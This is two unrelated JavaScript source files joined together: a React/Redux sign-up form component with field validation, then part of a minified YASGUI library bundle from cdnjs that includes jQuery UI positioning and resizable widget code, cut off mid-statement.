* You should have received a copy of the GNU Affero General Public License
* along with BoxCharter. If not, see <http://www.gnu.org/licenses/>.
*
*/
/**
* Written with help from Stephen Grider's Advanced React and Redux Udemy Course
* @module
* SignUp
*/
import React, { Component } from 'react';
import PropTypes from 'prop-types';
import { connect } from 'react-redux';
import { Field, reduxForm } from 'redux-form';
import { signUpUser, setAuthError } from './authActions';
import { navActions, tabNames } from '../nav';
import { ClarityField, ClarityButton, ClarityAlert } from '../clarity';
const fields = ['email', 'password', 'passwordConfirm'];
/**
* @class SignUpComponent
*/
export class SignUpComponent extends Component {
/**
* @method componentDidMount
* @returns {undefined}
*/
componentDidMount() {
// clear any errors
this.props.setAuthError(null);
// set the tab -- in case of loading page in some way other than clicking tab
this.props.setActiveNavTab(tabNames.SIGN_UP);
}
/**
* @method handleFormSubmit
* @param {object} formProps - Form properties.
* @returns {undefined}
*/
handleFormSubmit(formProps) {
// call action creator to sign up the user
this.props.signUpUser(formProps);
}
/**
* Generate alert JSX if necessary
* @method renderAlert
* @returns {any} - JSX alert if there's an error message; undefined otherwise
*/
renderAlert() {
if (this.props.errorMessage) {
return (
<ClarityAlert
alertText={this.props.errorMessage}
alertType="danger"
communicateCloseToParent={() => this.props.setAuthError(null)}
/>
);
}
}
/**
* @method render
* @returns {JSX.Element} - Rendered component.
*/
render() {
const { handleSubmit, loading } = this.props;
const buttonLoading = loading.isLoading ? { loading: true } : {};
return (
<form data-test="signup-form" onSubmit={handleSubmit(this.handleFormSubmit.bind(this))}>
<Field name="email" type="text" label="Email" required component={ClarityField} />
<Field name="password" type="password" label="Password" required component={ClarityField} />
<Field name="passwordConfirm" type="password" label="Confirm Password" required component={ClarityField} />
<ClarityButton reduxFormSubmit primary {...buttonLoading} dataTest="signup-submit" buttonText="Sign up" />
{ this.renderAlert() }
</form>
);
}
}
SignUpComponent.defaultProps = {
errorMessage: '',
loading: {},
};
SignUpComponent.propTypes = {
setAuthError: PropTypes.func.isRequired,
setActiveNavTab: PropTypes.func.isRequired,
loading: PropTypes.shape({
loading: PropTypes.bool,
error: PropTypes.string,
}),
signUpUser: PropTypes.func.isRequired,
handleSubmit: PropTypes.func.isRequired,
errorMessage: PropTypes.string,
};
/**
* Validate form input
* @param {object} formProps - form fields and values
* @returns {object} - object with keys of invalid form fields,
* and values of errors for those fields
*/
const validate = (formProps) => {
const errors = {};
fields.forEach((formProp) => {
if (!formProps[formProp]) {
errors[formProp] = 'This field can\'t be blank';
}
});
if (formProps.password !== formProps.passwordConfirm) {
errors.password = 'Passwords must match';
}
return errors;
};
const formOptions = {
form: 'signup',
fields,
validate,
};
/**
* @function mapStateToProps
* @param {object} state - Redux state.
* @returns {object} - Object containing errorMessage from state.
*/
function mapStateToProps(state) {
return {
errorMessage: state.auth.error,
loading: state.loading['sign-up'],
};
}
const actions = {
signUpUser,
setAuthError,
setActiveNavTab: navActions.setActiveNavTab,
};
const SignUpForm = reduxForm(formOptions)(SignUpComponent);
export default connect(mapStateToProps, actions)(SignUpForm);
|
ajax/libs/yasgui/1.1.4/yasgui.min.js
|
BobbieBel/cdnjs
|
!function(e){if("object"==typeof exports&&"undefined"!=typeof module)module.exports=e();else if("function"==typeof define&&define.amd)define([],e);else{var t;"undefined"!=typeof window?t=window:"undefined"!=typeof global?t=global:"undefined"!=typeof self&&(t=self),t.YASGUI=e()}}(function(){var e;return function t(e,n,r){function i(s,a){if(!n[s]){if(!e[s]){var l="function"==typeof require&&require;if(!a&&l)return l(s,!0);if(o)return o(s,!0);var u=new Error("Cannot find module '"+s+"'");throw u.code="MODULE_NOT_FOUND",u}var c=n[s]={exports:{}};e[s][0].call(c.exports,function(t){var n=e[s][1][t];return i(n?n:t)},c,c.exports,t,e,n,r)}return n[s].exports}for(var o="function"==typeof require&&require,s=0;s<r.length;s++)i(r[s]);return i}({1:[function(e,t){t.exports=e("./main.js")},{"./main.js":106}],2:[function(e,t){function n(){this._events=this._events||{};this._maxListeners=this._maxListeners||void 0}function r(e){return"function"==typeof e}function i(e){return"number"==typeof e}function o(e){return"object"==typeof e&&null!==e}function s(e){return void 0===e}t.exports=n;n.EventEmitter=n;n.prototype._events=void 0;n.prototype._maxListeners=void 0;n.defaultMaxListeners=10;n.prototype.setMaxListeners=function(e){if(!i(e)||0>e||isNaN(e))throw TypeError("n must be a positive number");this._maxListeners=e;return this};n.prototype.emit=function(e){var t,n,i,a,l,u;this._events||(this._events={});if("error"===e&&(!this._events.error||o(this._events.error)&&!this._events.error.length)){t=arguments[1];if(t instanceof Error)throw t;throw TypeError('Uncaught, unspecified "error" event.')}n=this._events[e];if(s(n))return!1;if(r(n))switch(arguments.length){case 1:n.call(this);break;case 2:n.call(this,arguments[1]);break;case 3:n.call(this,arguments[1],arguments[2]);break;default:i=arguments.length;a=new Array(i-1);for(l=1;i>l;l++)a[l-1]=arguments[l];n.apply(this,a)}else if(o(n)){i=arguments.length;a=new Array(i-1);for(l=1;i>l;l++)a[l-1]=arguments[l];u=n.slice();i=u.length;for(l=0;i>l;l++)u[l].apply(this,a)}return!0};n.prototype.addListener=function(e,t){var i;if(!r(t))throw TypeError("listener must be a function");this._events||(this._events={});this._events.newListener&&this.emit("newListener",e,r(t.listener)?t.listener:t);this._events[e]?o(this._events[e])?this._events[e].push(t):this._events[e]=[this._events[e],t]:this._events[e]=t;if(o(this._events[e])&&!this._events[e].warned){var i;i=s(this._maxListeners)?n.defaultMaxListeners:this._maxListeners;if(i&&i>0&&this._events[e].length>i){this._events[e].warned=!0;console.error("(node) warning: possible EventEmitter memory leak detected. %d listeners added. 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t,n;if(!this._events)return this;if(!this._events.removeListener){0===arguments.length?this._events={}:this._events[e]&&delete this._events[e];return this}if(0===arguments.length){for(t in this._events)"removeListener"!==t&&this.removeAllListeners(t);this.removeAllListeners("removeListener");this._events={};return this}n=this._events[e];if(r(n))this.removeListener(e,n);else for(;n.length;)this.removeListener(e,n[n.length-1]);delete this._events[e];return this};n.prototype.listeners=function(e){var t;t=this._events&&this._events[e]?r(this._events[e])?[this._events[e]]:this._events[e].slice():[];return t};n.listenerCount=function(e,t){var n;n=e._events&&e._events[t]?r(e._events[t])?1:e._events[t].length:0;return n}},{}],3:[function(e){var t=e("jquery");(function(e,t){function n(t,n){var i,o,s,a=t.nodeName.toLowerCase();if("area"===a){i=t.parentNode;o=i.name;if(!t.href||!o||"map"!==i.nodeName.toLowerCase())return!1;s=e("img[usemap=#"+o+"]")[0];return!!s&&r(s)}return(/input|select|textarea|button|object/.test(a)?!t.disabled:"a"===a?t.href||n:n)&&r(t)}function r(t){return e.expr.filters.visible(t)&&!e(t).parents().addBack().filter(function(){return"hidden"===e.css(this,"visibility")}).length}var i=0,o=/^ui-id-\d+$/;e.ui=e.ui||{};e.extend(e.ui,{version:"1.10.4",keyCode:{BACKSPACE:8,COMMA:188,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,LEFT:37,NUMPAD_ADD:107,NUMPAD_DECIMAL:110,NUMPAD_DIVIDE:111,NUMPAD_ENTER:108,NUMPAD_MULTIPLY:106,NUMPAD_SUBTRACT:109,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SPACE:32,TAB:9,UP:38}});e.fn.extend({focus:function(t){return function(n,r){return"number"==typeof n?this.each(function(){var t=this;setTimeout(function(){e(t).focus();r&&r.call(t)},n)}):t.apply(this,arguments)}}(e.fn.focus),scrollParent:function(){var t;t=e.ui.ie&&/(static|relative)/.test(this.css("position"))||/absolute/.test(this.css("position"))?this.parents().filter(function(){return/(relative|absolute|fixed)/.test(e.css(this,"position"))&&/(auto|scroll)/.test(e.css(this,"overflow")+e.css(this,"overflow-y")+e.css(this,"overflow-x"))}).eq(0):this.parents().filter(function(){return/(auto|scroll)/.test(e.css(this,"overflow")+e.css(this,"overflow-y")+e.css(this,"overflow-x"))}).eq(0);return/fixed/.test(this.css("position"))||!t.length?e(document):t},zIndex:function(n){if(n!==t)return this.css("zIndex",n);if(this.length)for(var r,i,o=e(this[0]);o.length&&o[0]!==document;){r=o.css("position");if("absolute"===r||"relative"===r||"fixed"===r){i=parseInt(o.css("zIndex"),10);if(!isNaN(i)&&0!==i)return i}o=o.parent()}return 0},uniqueId:function(){return this.each(function(){this.id||(this.id="ui-id-"+ ++i)})},removeUniqueId:function(){return this.each(function(){o.test(this.id)&&e(this).removeAttr("id")})}});e.extend(e.expr[":"],{data:e.expr.createPseudo?e.expr.createPseudo(function(t){return function(n){return!!e.data(n,t)}}):function(t,n,r){return!!e.data(t,r[3])},focusable:function(t){return n(t,!isNaN(e.attr(t,"tabindex")))},tabbable:function(t){var r=e.attr(t,"tabindex"),i=isNaN(r);return(i||r>=0)&&n(t,!i)}});e("<a>").outerWidth(1).jquery||e.each(["Width","Height"],function(n,r){function i(t,n,r,i){e.each(o,function(){n-=parseFloat(e.css(t,"padding"+this))||0;r&&(n-=parseFloat(e.css(t,"border"+this+"Width"))||0);i&&(n-=parseFloat(e.css(t,"margin"+this))||0)});return n}var o="Width"===r?["Left","Right"]:["Top","Bottom"],s=r.toLowerCase(),a={innerWidth:e.fn.innerWidth,innerHeight:e.fn.innerHeight,outerWidth:e.fn.outerWidth,outerHeight:e.fn.outerHeight};e.fn["inner"+r]=function(n){return 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t.preventDefault()}if(this._mouseDistanceMet(t)&&this._mouseDelayMet(t)){this._mouseStarted=this._mouseStart(this._mouseDownEvent,t)!==!1;this._mouseStarted?this._mouseDrag(t):this._mouseUp(t)}return!this._mouseStarted},_mouseUp:function(t){e(document).unbind("mousemove."+this.widgetName,this._mouseMoveDelegate).unbind("mouseup."+this.widgetName,this._mouseUpDelegate);if(this._mouseStarted){this._mouseStarted=!1;t.target===this._mouseDownEvent.target&&e.data(t.target,this.widgetName+".preventClickEvent",!0);this._mouseStop(t)}return!1},_mouseDistanceMet:function(e){return Math.max(Math.abs(this._mouseDownEvent.pageX-e.pageX),Math.abs(this._mouseDownEvent.pageY-e.pageY))>=this.options.distance},_mouseDelayMet:function(){return this.mouseDelayMet},_mouseStart:function(){},_mouseDrag:function(){},_mouseStop:function(){},_mouseCapture:function(){return!0}})})(t)},{"./widget":7,jquery:8}],5:[function(e){var t=e("jquery");(function(e,t){function n(e,t,n){return[parseFloat(e[0])*(f.test(e[0])?t/100:1),parseFloat(e[1])*(f.test(e[1])?n/100:1)]}function r(t,n){return parseInt(e.css(t,n),10)||0}function i(t){var n=t[0];return 9===n.nodeType?{width:t.width(),height:t.height(),offset:{top:0,left:0}}:e.isWindow(n)?{width:t.width(),height:t.height(),offset:{top:t.scrollTop(),left:t.scrollLeft()}}:n.preventDefault?{width:0,height:0,offset:{top:n.pageY,left:n.pageX}}:{width:t.outerWidth(),height:t.outerHeight(),offset:t.offset()}}e.ui=e.ui||{};var o,s=Math.max,a=Math.abs,l=Math.round,u=/left|center|right/,c=/top|center|bottom/,p=/[\+\-]\d+(\.[\d]+)?%?/,d=/^\w+/,f=/%$/,h=e.fn.position;e.position={scrollbarWidth:function(){if(o!==t)return o;var n,r,i=e("<div style='display:block;position:absolute;width:50px;height:50px;overflow:hidden;'><div style='height:100px;width:auto;'></div></div>"),s=i.children()[0];e("body").append(i);n=s.offsetWidth;i.css("overflow","scroll");r=s.offsetWidth;n===r&&(r=i[0].clientWidth);i.remove();return o=n-r},getScrollInfo:function(t){var n=t.isWindow||t.isDocument?"":t.element.css("overflow-x"),r=t.isWindow||t.isDocument?"":t.element.css("overflow-y"),i="scroll"===n||"auto"===n&&t.width<t.element[0].scrollWidth,o="scroll"===r||"auto"===r&&t.height<t.element[0].scrollHeight;return{width:o?e.position.scrollbarWidth():0,height:i?e.position.scrollbarWidth():0}},getWithinInfo:function(t){var n=e(t||window),r=e.isWindow(n[0]),i=!!n[0]&&9===n[0].nodeType;return{element:n,isWindow:r,isDocument:i,offset:n.offset()||{left:0,top:0},scrollLeft:n.scrollLeft(),scrollTop:n.scrollTop(),width:r?n.width():n.outerWidth(),height:r?n.height():n.outerHeight()}}};e.fn.position=function(t){if(!t||!t.of)return h.apply(this,arguments);t=e.extend({},t);var o,f,g,m,v,E,y=e(t.of),x=e.position.getWithinInfo(t.within),b=e.position.getScrollInfo(x),T=(t.collision||"flip").split(" "),S={};E=i(y);y[0].preventDefault&&(t.at="left top");f=E.width;g=E.height;m=E.offset;v=e.extend({},m);e.each(["my","at"],function(){var e,n,r=(t[this]||"").split(" ");1===r.length&&(r=u.test(r[0])?r.concat(["center"]):c.test(r[0])?["center"].concat(r):["center","center"]);r[0]=u.test(r[0])?r[0]:"center";r[1]=c.test(r[1])?r[1]:"center";e=p.exec(r[0]);n=p.exec(r[1]);S[this]=[e?e[0]:0,n?n[0]:0];t[this]=[d.exec(r[0])[0],d.exec(r[1])[0]]});1===T.length&&(T[1]=T[0]);"right"===t.at[0]?v.left+=f:"center"===t.at[0]&&(v.left+=f/2);"bottom"===t.at[1]?v.top+=g:"center"===t.at[1]&&(v.top+=g/2);o=n(S.at,f,g);v.left+=o[0];v.top+=o[1];return this.each(function(){var i,u,c=e(this),p=c.outerWidth(),d=c.outerHeight(),h=r(this,"marginLeft"),E=r(this,"marginTop"),N=p+h+r(this,"marginRight")+b.width,C=d+E+r(this,"marginBottom")+b.height,L=e.extend({},v),A=n(S.my,c.outerWidth(),c.outerHeight());"right"===t.my[0]?L.left-=p:"center"===t.my[0]&&(L.left-=p/2);"bottom"===t.my[1]?L.top-=d:"center"===t.my[1]&&(L.top-=d/2);L.left+=A[0];L.top+=A[1];if(!e.support.offsetFractions){L.left=l(L.left);L.top=l(L.top)}i={marginLeft:h,marginTop:E};e.each(["left","top"],function(n,r){e.ui.position[T[n]]&&e.ui.position[T[n]][r](L,{targetWidth:f,targetHeight:g,elemWidth:p,elemHeight:d,collisionPosition:i,collisionWidth:N,collisionHeight:C,offset:[o[0]+A[0],o[1]+A[1]],my:t.my,at:t.at,within:x,elem:c})});t.using&&(u=function(e){var n=m.left-L.left,r=n+f-p,i=m.top-L.top,o=i+g-d,l={target:{element:y,left:m.left,top:m.top,width:f,height:g},element:{element:c,left:L.left,top:L.top,width:p,height:d},horizontal:0>r?"left":n>0?"right":"center",vertical:0>o?"top":i>0?"bottom":"middle"};p>f&&a(n+r)<f&&(l.horizontal="center");d>g&&a(i+o)<g&&(l.vertical="middle");l.important=s(a(n),a(r))>s(a(i),a(o))?"horizontal":"vertical";t.using.call(this,e,l)});c.offset(e.extend(L,{using:u}))})};e.ui.position={fit:{left:function(e,t){var n,r=t.within,i=r.isWindow?r.scrollLeft:r.offset.left,o=r.width,a=e.left-t.collisionPosition.marginLeft,l=i-a,u=a+t.collisionWidth-o-i;if(t.collisionWidth>o)if(l>0&&0>=u){n=e.left+l+t.collisionWidth-o-i;e.left+=l-n}else e.left=u>0&&0>=l?i:l>u?i+o-t.collisionWidth:i;else l>0?e.left+=l:u>0?e.left-=u:e.left=s(e.left-a,e.left)},top:function(e,t){var n,r=t.within,i=r.isWindow?r.scrollTop:r.offset.top,o=t.within.height,a=e.top-t.collisionPosition.marginTop,l=i-a,u=a+t.collisionHeight-o-i;if(t.collisionHeight>o)if(l>0&&0>=u){n=e.top+l+t.collisionHeight-o-i;e.top+=l-n}else e.top=u>0&&0>=l?i:l>u?i+o-t.collisionHeight:i;else l>0?e.top+=l:u>0?e.top-=u:e.top=s(e.top-a,e.top)}},flip:{left:function(e,t){var n,r,i=t.within,o=i.offset.left+i.scrollLeft,s=i.width,l=i.isWindow?i.scrollLeft:i.offset.left,u=e.left-t.collisionPosition.marginLeft,c=u-l,p=u+t.collisionWidth-s-l,d="left"===t.my[0]?-t.elemWidth:"right"===t.my[0]?t.elemWidth:0,f="left"===t.at[0]?t.targetWidth:"right"===t.at[0]?-t.targetWidth:0,h=-2*t.offset[0];if(0>c){n=e.left+d+f+h+t.collisionWidth-s-o;(0>n||n<a(c))&&(e.left+=d+f+h)}else if(p>0){r=e.left-t.collisionPosition.marginLeft+d+f+h-l;(r>0||a(r)<p)&&(e.left+=d+f+h)}},top:function(e,t){var n,r,i=t.within,o=i.offset.top+i.scrollTop,s=i.height,l=i.isWindow?i.scrollTop:i.offset.top,u=e.top-t.collisionPosition.marginTop,c=u-l,p=u+t.collisionHeight-s-l,d="top"===t.my[1],f=d?-t.elemHeight:"bottom"===t.my[1]?t.elemHeight:0,h="top"===t.at[1]?t.targetHeight:"bottom"===t.at[1]?-t.targetHeight:0,g=-2*t.offset[1];if(0>c){r=e.top+f+h+g+t.collisionHeight-s-o;e.top+f+h+g>c&&(0>r||r<a(c))&&(e.top+=f+h+g)}else if(p>0){n=e.top-t.collisionPosition.marginTop+f+h+g-l;e.top+f+h+g>p&&(n>0||a(n)<p)&&(e.top+=f+h+g)}}},flipfit:{left:function(){e.ui.position.flip.left.apply(this,arguments);e.ui.position.fit.left.apply(this,arguments)},top:function(){e.ui.position.flip.top.apply(this,arguments);e.ui.position.fit.top.apply(this,arguments)}}};(function(){var t,n,r,i,o,s=document.getElementsByTagName("body")[0],a=document.createElement("div");t=document.createElement(s?"div":"body");r={visibility:"hidden",width:0,height:0,border:0,margin:0,background:"none"};s&&e.extend(r,{position:"absolute",left:"-1000px",top:"-1000px"});for(o in r)t.style[o]=r[o];t.appendChild(a);n=s||document.documentElement;n.insertBefore(t,n.firstChild);a.style.cssText="position: absolute; left: 10.7432222px;";i=e(a).offset().left;e.support.offsetFractions=i>10&&11>i;t.innerHTML="";n.removeChild(t)})()})(t)},{jquery:8}],6:[function(e){var t=e("jquery");e("./core");e("./mouse");e("./widget");(function(e){function t(e){return parseInt(e,10)||0}function n(e){return!isNaN(parseInt(e,10))}e.widget("ui.resizable",e.ui.mouse,{version:"1.10.4",widgetEventPrefix:"resize",options:{alsoResize:!1,animate:!1,animateDuration:"slow",animateEasing:"swing",aspectRatio:!1,autoHide:!1,containment:!1,ghost:!1,grid:!1,handles:"e,s,se",helper:!1,maxHeight:null,maxWidth:null,minHeight:10,minWidth:10,zIndex:90,resize:null,start:null,stop:null},_create:function(){var t,n,r,i,o,s=this,a=this.options;this.element.addClass("ui-resizable");e.extend(this,{_aspectRatio:!!a.aspectRatio,aspectRatio:a.aspectRatio,originalElement:this.element,_proportionallyResizeElements:[],_helper:a.helper||a.ghost||a.animate?a.helper||"ui-resizable-helper":null});if(this.element[0].nodeName.match(/canvas|textarea|input|select|button|img/i)){this.element.wrap(e("<div class='ui-wrapper' style='overflow: hidden;'></div>").css({position:this.element.css("position"),width:this.element.outerWidth(),height:this.element.outerHeight(),top:this.element.css("top"),left:this.element.css("left")}));this.element=this.element.parent().data("ui-resizable",this.element.data("ui-resizable"));this.elementIsWrapper=!0;this.element.css({marginLeft:this.originalElement.css("marginLeft"),marginTop:this.originalElement.css("marginTop"),marginRight:this.originalElement.css("marginRight"),marginBottom:this.originalElement.css("marginBottom")});this.originalElement.css({marginLeft:0,marginTop:0,marginRight:0,marginBottom:0});this.originalResizeStyle=this.originalElement.css("resize");this.originalElement.css("resize","none");this._proportionallyResizeElements.push(this.originalElement.css({position:"static",zoom:1,display:"block"}));this.originalElement.css({margin:this.originalElement.css("margin")});this._proportionallyResize()}this.handles=a.handles||(e(".ui-resizable-handle",this.element).length?{n:".ui-resizable-n",e:".ui-resizable-e",s:".ui-resizable-s",w:".ui-resizable-w",se:".ui-resizable-se",sw:".ui-resizable-sw",ne:".ui-resizable-ne",nw:".ui-resizable-nw"}:"e,s,se");if(this.handles.constructor===String){"all"===this.handles&&(this.handles="n,e,s,w,se,sw,ne,nw");t=this.handles.split(",");this.handles={};for(n=0;n<t.length;n++){r=e.trim(t[n]);o="ui-resizable-"+r;i=e("<div class='ui-resizable-handle "+o+"'></div>");i.css({zIndex:a.zIndex});"se"===r&&i.addClass("ui-icon ui-icon-gripsmall-diagonal-se");this.handles[r]=".ui-resizable-"+r;this.element.append(i)}}this._renderAxis=function(t){var n,r,i,o;t=t||this.element;for(n in this.handles){this.handles[n].constructor===String&&(this.handles[n]=e(this.handles[n],this.element).show());if(this.elementIsWrapper&&this.originalElement[0].nodeName.match(/textarea|input|select|button/i)){r=e(this.handles[n],this.element);o=/sw|ne|nw|se|n|s/.test(n)?r.outerHeight():r.outerWidth();i=["padding",/ne|nw|n/.test(n)?"Top":/se|sw|s/.test(n)?"Bottom":/^e$/.test(n)?"Right":"Left"].join("");t.css(i,o);this._proportionallyResize()}e(this.handles[n]).length}};this._renderAxis(this.element);this._handles=e(".ui-resizable-handle",this.element).disableSelection();this._handles.mouseover(function(){if(!s.resizing){this.className&&(i=this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i));s.axis=i&&i[1]?i[1]:"se"}});if(a.autoHide){this._handles.hide();e(this.element).addClass("ui-resizable-autohide").mouseenter(function(){if(!a.disabled){e(this).removeClass("ui-resizable-autohide");s._handles.show()}}).mouseleave(function(){if(!a.disabled&&!s.resizing){e(this).addClass("ui-resizable-autohide");s._handles.hide()}})}this._mouseInit()},_destroy:function(){this._mouseDestroy();var t,n=function(t){e(t).removeClass("ui-resizable ui-resizable-disabled ui-resizable-resizing").removeData("resizable").removeData("ui-resizable").unbind(".resizable").find(".ui-resizable-handle").remove()};if(this.elementIsWrapper){n(this.element);t=this.element;this.originalElement.css({position:t.css("position"),width:t.outerWidth(),height:t.outerHeight(),top:t.css("top"),left:t.css("left")}).insertAfter(t);t.remove()}this.originalElement.css("resize",this.originalResizeStyle);n(this.originalElement);return this},_mouseCapture:function(t){var n,r,i=!1;for(n in this.handles){r=e(this.handles[n])[0];(r===t.target||e.contains(r,t.target))&&(i=!0)}return!this.options.disabled&&i},_mouseStart:function(n){var r,i,o,s=this.options,a=this.element.position(),l=this.element;this.resizing=!0;/absolute/.test(l.css("position"))?l.css({position:"absolute",top:l.css("top"),left:l.css("left")}):l.is(".ui-draggable")&&l.css({position:"absolute",top:a.top,left:a.left});this._renderProxy();r=t(this.helper.css("left"));i=t(this.helper.css("top"));if(s.containment){r+=e(s.containment).scrollLeft()||0;i+=e(s.containment).scrollTop()||0}this.offset=this.helper.offset();this.position={left:r,top:i};this.size=this._helper?{width:this.helper.width(),height:this.helper.height()}:{width:l.width(),height:l.height()};this.originalSize=this._helper?{width:l.outerWidth(),height:l.outerHeight()}:{width:l.width(),height:l.height()};this.originalPosition={left:r,top:i};this.sizeDiff={width:l.outerWidth()-l.width(),height:l.outerHeight()-l.height()};this.originalMousePosition={left:n.pageX,top:n.pageY};this.aspectRatio="number"==typeof s.aspectRatio?s.aspectRatio:this.originalSize.width/this.originalSize.height||1;o=e(".ui-resizable-"+this.axis).css("cursor");e("body").css("cursor","auto"===o?this.axis+"-resize":o);l.addClass("ui-resizable-resizing");this._propagate("start",n);return!0},_mouseDrag:function(t){var n,r=this.helper,i={},o=this.originalMousePosition,s=this.axis,a=this.position.top,l=this.position.left,u=this.size.width,c=this.size.height,p=t.pageX-o.left||0,d=t.pageY-o.top||0,f=this._change[s];if(!f)return!1;n=f.apply(this,[t,p,d]);this._updateVirtualBoundaries(t.shiftKey);(this._aspectRatio||t.shiftKey)&&(n=this._updateRatio(n,t));n=this._respectSize(n,t);this._updateCache(n);this._propagate("resize",t);this.position.top!==a&&(i.top=this.position.top+"px");this.position.left!==l&&(i.left=this.position.left+"px");this.size.width!==u&&(i.width=this.size.width+"px");this.size.height!==c&&(i.height=this.size.height+"px");r.css(i);!this._helper&&this._proportionallyResizeElements.length&&this._proportionallyResize();e.isEmptyObject(i)||this._trigger("resize",t,this.ui());return!1},_mouseStop:function(t){this.resizing=!1;var n,r,i,o,s,a,l,u=this.options,c=this;if(this._helper){n=this._proportionallyResizeElements;r=n.length&&/textarea/i.test(n[0].nodeName);i=r&&e.ui.hasScroll(n[0],"left")?0:c.sizeDiff.height;o=r?0:c.sizeDiff.width;s={width:c.helper.width()-o,height:c.helper.height()-i};a=parseInt(c.element.css("left"),10)+(c.position.left-c.originalPosition.left)||null;l=parseInt(c.element.css("top"),10)+(c.position.top-c.originalPosition.top)||null;u.animate||this.element.css(e.extend(s,{top:l,left:a}));c.helper.height(c.size.height);c.helper.width(c.size.width);this._helper&&!u.animate&&this._proportionallyResize()}e("body").css("cursor","auto");this.element.removeClass("ui-resizable-resizing");this._propagate("stop",t);this._helper&&this.helper.remove();return!1},_updateVirtualBoundaries:function(e){var t,r,i,o,s,a=this.options;s={minWidth:n(a.minWidth)?a.minWidth:0,maxWidth:n(a.maxWidth)?a.maxWidth:1/0,minHeight:n(a.minHeight)?a.minHeight:0,maxHeight:n(a.maxHeight)?a.maxHeight:1/0};if(this._aspectRatio||e){t=s.minHeight*this.aspectRatio;i=s.minWidth/this.aspectRatio;r=s.maxHeight*this.aspectRatio;o=s.maxWidth/this.aspectRatio;t>s.minWidth&&(s.minWidth=t);i>s.minHeight&&(s.minHeight=i);r<s.maxWidth&&(s.maxWidth=r);o<s.maxHeight&&(s.maxHeight=o)}this._vBoundaries=s},_updateCache:function(e){this.offset=this.helper.offset();n(e.left)&&(this.position.left=e.left);n(e.top)&&(this.position.top=e.top);n(e.height)&&(this.size.height=e.height);n(e.width)&&(this.size.width=e.width)},_updateRatio:function(e){var t=this.position,r=this.size,i=this.axis;n(e.height)?e.width=e.height*this.aspectRatio:n(e.width)&&(e.height=e.width/this.aspectRatio);if("sw"===i){e.left=t.left+(r.width-e.width);e.top=null}if("nw"===i){e.top=t.top+(r.height-e.height);e.left=t.left+(r.width-e.width)}return e},_respectSize:function(e){var t=this._vBoundaries,r=this.axis,i=n(e.width)&&t.maxWidth&&t.maxWidth<e.width,o=n(e.height)&&t.maxHeight&&t.maxHeight<e.height,s=n(e.width)&&t.minWidth&&t.minWidth>e.width,a=n(e.height)&&t.minHeight&&t.minHeight>e.height,l=this.originalPosition.left+this.originalSize.width,u=this.position.top+this.size.height,c=/sw|nw|w/.test(r),p=/nw|ne|n/.test(r);s&&(e.width=t.minWidth);a&&(e.height=t.minHeight);i&&(e.width=t.maxWidth);o&&(e.height=t.maxHeight);s&&c&&(e.left=l-t.minWidth);i&&c&&(e.left=l-t.maxWidth);a&&p&&(e.top=u-t.minHeight);o&&p&&(e.top=u-t.maxHeight);e.width||e.height||e.left||!e.top?e.width||e.height||e.top||!e.left||(e.left=null):e.top=null;return e},_proportionallyResize:function(){if(this._proportionallyResizeElements.length){var e,t,n,r,i,o=this.helper||this.element;for(e=0;e<this._proportionallyResizeElements.length;e++){i=this._proportionallyResizeElements[e];if(!this.borderDif){this.borderDif=[];n=[i.css("borderTopWidth"),i.css("borderRightWidth"),i.css("borderBottomWidth"),i.css("borderLeftWidth")];r=[i.css("paddingTop"),i.css("paddingRight"),i.css("paddingBottom"),i.css("paddingLeft")];for(t=0;t<n.length;t++)this.borderDif[t]=(parseInt(n[t],10)||0)+(parseInt(r[t],10)||0)}i.css({height:o.height()-this.borderDif[0]-this.borderDif[2]||0,width:o.width()-this.borderDif[1]-this.borderDif[3]||0})}}},_renderProxy:function(){var t=this.element,n=this.options;this.elementOffset=t.offset();if(this._helper){this.helper=this.helper||e("<div style='overflow:hidden;'></div>");this.helper.addClass(this._helper).css({width:this.element.outerWidth()-1,height:this.element.outerHeight()-1,position:"absolute",left:this.elementOffset.left+"px",top:this.elementOffset.top+"px",zIndex:++n.zIndex});this.helper.appendTo("body").disableSelection()}else this.helper=this.element},_change:{e:function(e,t){return{width:this.originalSize.width+t}},w:function(e,t){var n=this.originalSize,r=this.originalPosition;return{left:r.left+t,width:n.width-t}},n:function(e,t,n){var r=this.originalSize,i=this.originalPosition;return{top:i.top+n,height:r.height-n}},s:function(e,t,n){return{height:this.originalSize.height+n}},se:function(t,n,r){return e.extend(this._change.s.apply(this,arguments),this._change.e.apply(this,[t,n,r]))},sw:function(t,n,r){return e.extend(this._change.s.apply(this,arguments),this._change.w.apply(this,[t,n,r]))},ne:function(t,n,r){return e.extend(this._change.n.apply(this,arguments),this._change.e.apply(this,[t,n,r]))},nw:function(t,n,r){return e.extend(this._change.n.apply(this,arguments),this._change.w.apply(this,[t,n,r]))}},_propagate:function(t,n){e.ui.plugin.call(this,t,[n,this.ui()]);"resize"!==t&&this._trigger(t,n,this.ui())},plugins:{},ui:function(){return{originalElement:this.originalElement,element:this.element,helper:this.helper,position:this.position,size:this.size,originalSize:this.originalSize,originalPosition:this.originalPosition}}});e.ui.plugin.add("resizable","animate",{stop:function(t){var n=e(this).data("ui-resizable"),r=n.options,i=n._proportionallyResizeElements,o=i.length&&/textarea/i.test(i[0].nodeName),s=o&&e.ui.hasScroll(i[0],"left")?0:n.sizeDiff.height,a=o?0:n.sizeDiff.width,l={width:n.size.width-a,height:n.size.height-s},u=parseInt(n.element.css("left"),10)+(n.position.left-n.originalPosition.left)||null,c=parseInt(n.element.css("top"),10)+(n.position.top-n.originalPosition.top)||null;n.element.animate(e.extend(l,c&&u?{top:c,left:u}:{}),{duration:r.animateDuration,easing:r.animateEasing,step:function(){var r={width:parseInt(n.element.css("width"),10),height:parseInt(n.element.css("height"),10),top:parseInt(n.element.css("top"),10),left:parseInt(n.element.css("left"),10)};i&&i.length&&e(i[0]).css({width:r.width,height:r.height});n._updateCache(r);n._propagate("resize",t)}})}});e.ui.plugin.add("resizable","containment",{start:function(){var n,r,i,o,s,a,l,u=e(this).data("ui-resizable"),c=u.options,p=u.element,d=c.containment,f=d instanceof 